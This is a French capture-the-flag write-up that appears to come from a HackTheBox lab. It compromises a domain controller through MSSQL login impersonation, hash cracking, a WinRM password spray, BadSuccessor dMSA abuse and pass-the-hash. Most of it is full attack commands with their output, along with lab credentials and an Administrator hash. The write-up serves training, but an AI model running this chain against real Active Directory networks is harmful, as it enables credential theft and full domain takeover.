1. Reconnaissance
Scan Nmap sur la machine DC01.eighteen.htb (10.10.11.95). Trois ports ouverts : HTTP (80, IIS), MSSQL 2022 (1433), WinRM (5985). Domaine AD : eighteen.htb.
Commande
nmap -Pn -sV -p- 10.10.11.95 -T5Résultat
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
5985/tcp open http Microsoft HTTPAPI httpd 2.0Creds fournis en début de machine : kevin / iNa2we6haRj2gaw!
2. Accès MSSQL (kevin)
Authentification locale sur MSSQL avec les creds fournis. Kevin est connecté en tant que guest sur la DB, pas sysadmin, accès limité.
Commande
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --local-authRésultat
MSSQL 10.10.11.95 1433 DC01 [+] DC01kevin:iNa2we6haRj2gaw!Énumération des logins SQL : kevin et appdev sont présents. Depuis mssqlclient.py, vérification des permissions : kevin ne peut pas accéder à la base financial_planner directement.
Connexion directe
mssqlclient.py 'eighteen.htb/kevin:iNa2we6haRj2gaw!@10.10.11.95'Vérification
SQL (kevin guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-- 0 → non sysadmin
SQL (kevin guest@master)> USE financial_planner;
-- ERROR: The server principal "kevin" is not able to access the database3. Impersonation appdev → extraction du hash
Le login appdev a accès à financial_planner. Kevin peut l'impersoner via EXECUTE AS LOGIN. La table users contient un hash Flask/PBKDF2 de l'utilisateur admin.
Impersonation et lecture
SQL (kevin guest@master)> EXECUTE AS LOGIN = 'appdev';
SQL (appdev appdev@master)> USE financial_planner;
SQL (appdev appdev@financial_planner)> SELECT * FROM users;Résultat
id username email password_hash is_admin
---- --------- ------------------- ---------------------------------------------------------- --------
1002 admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad...887133 1Hash PBKDF2-SHA256 (600 000 rounds). Crackage avec hashcat mode 10900 sur rockyou.
Hashcat
hashcat -m 10900 hash.txt ~/Downloads/rockyou.txtRésultat
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOt...Q=:iloveyou1Mot de passe crack : iloveyou1.
4. Spray WinRM → adam.scott
RID brute via MSSQL pour obtenir la liste des utilisateurs du domaine. Spray du mot de passe cracké sur WinRM.
Commande
nxc mssql 10.10.11.95 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-bruteRésultat
1606: EIGHTEENjamie.dunn
1607: EIGHTEENjane.smith
1608: EIGHTEENalice.jones
1609: EIGHTEENadam.scott
1610: EIGHTEENob.brown
1611: EIGHTEENcarol.white
1612: EIGHTEENdave.greenSpray WinRM
nxc winrm 10.10.11.95 -u users.txt -p 'iloveyou1' --no-bruteforceRésultat
WINRM 10.10.11.95 5985 DC01 [+] eighteen.htbadam.scott:iloveyou1 (Pwn3d!)Connexion WinRM
evil-winrm-py -i 10.10.11.95 -u adam.scott -p 'iloveyou1'5. Escalade de privilèges : BadSuccessor (dMSA)
Énumération des ACL sur les OUs avec PowerView. Le groupe IT (dont adam.scott est membre, RID 1604) possède CreateChild sur OU=Staff.
Commande
Import-Module .PowerView.ps1
Get-DomainObjectAcl -Identity "OU=Staff,DC=eighteen,DC=htb" -ResolveGUIDS |
? { $_.SecurityIdentifier -match "1604" }Résultat
ActiveDirectoryRights : CreateChild
SecurityIdentifier : S-1-5-21-...-1604 (IT)BadSuccessor exploite CreateChild sur une OU pour créer un compte dMSA (Delegated Managed Service Account) et lui faire hériter les credentials d'un compte cible. On crée web_svc dans OU=Staff, lié à Administrator.
Exploitation BadSuccessor
.BadSuccessor.exe escalate -targetOU "OU=Staff,DC=eighteen,DC=htb" -dmsa web_svc -targetUser "CN=Administrator,CN=Users,DC=eighteen,DC=htb" -dnshostname web_svc -user adam.scottRésultat
[+] Privileges Obtained.
[+] Created dMSA 'web_svc' in 'OU=Staff,DC=eighteen,DC=htb',
linked to 'CN=Administrator,CN=Users,DC=eighteen,DC=htb'6. Récupération du hash Administrator
On obtient un TGT pour adam.scott, puis on demande un ST pour le dMSA web_svc$ avec le flag -dmsa. Même si la requête S4U2Proxy échoue, Kerberos expose dans sa réponse les previous keys du dMSA, ce sont les clés héritées d'Administrator.
TGT adam.scott
getTGT.py eighteen.htb/adam.scott:'iloveyou1'ST pour web_svc$ (dMSA)
getST.py -k -no-pass -impersonate 'web_svc$' -dmsa -spn cifs/dc01.eighteen.htb eighteen.htb/adam.scottRésultat
[*] Previous keys:
[*] EncryptionTypes.rc4_hmac: 0b133be956bfaddf9cea56701affddec ← hash AdministratorLe RC4 NTLM extrait est celui d'Administrator. Pass-the-Hash via WinRM.
Pass-the-Hash Administrator
evil-winrm-py -i dc01.eighteen.htb -u Administrator -H 0b133be956bfaddf9cea56701affddecFlags
type C:\Users\adam.scott\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txtRécap
- Recon : DC01 : IIS (80), MSSQL (1433), WinRM (5985), creds kevin fournis
- MSSQL : EXECUTE AS appdev → financial_planner.users → hash PBKDF2 admin
- Hashcat -m 10900 → iloveyou1
- RID brute → liste utilisateurs → spray WinRM → adam.scott (Pwn3d!)
- PowerView : IT group (RID 1604) a CreateChild sur OU=Staff
- BadSuccessor : dMSA web_svc créé dans OU=Staff, lié à Administrator
- getST.py -dmsa → previous keys → RC4 hash Administrator
- PTH evil-winrm → root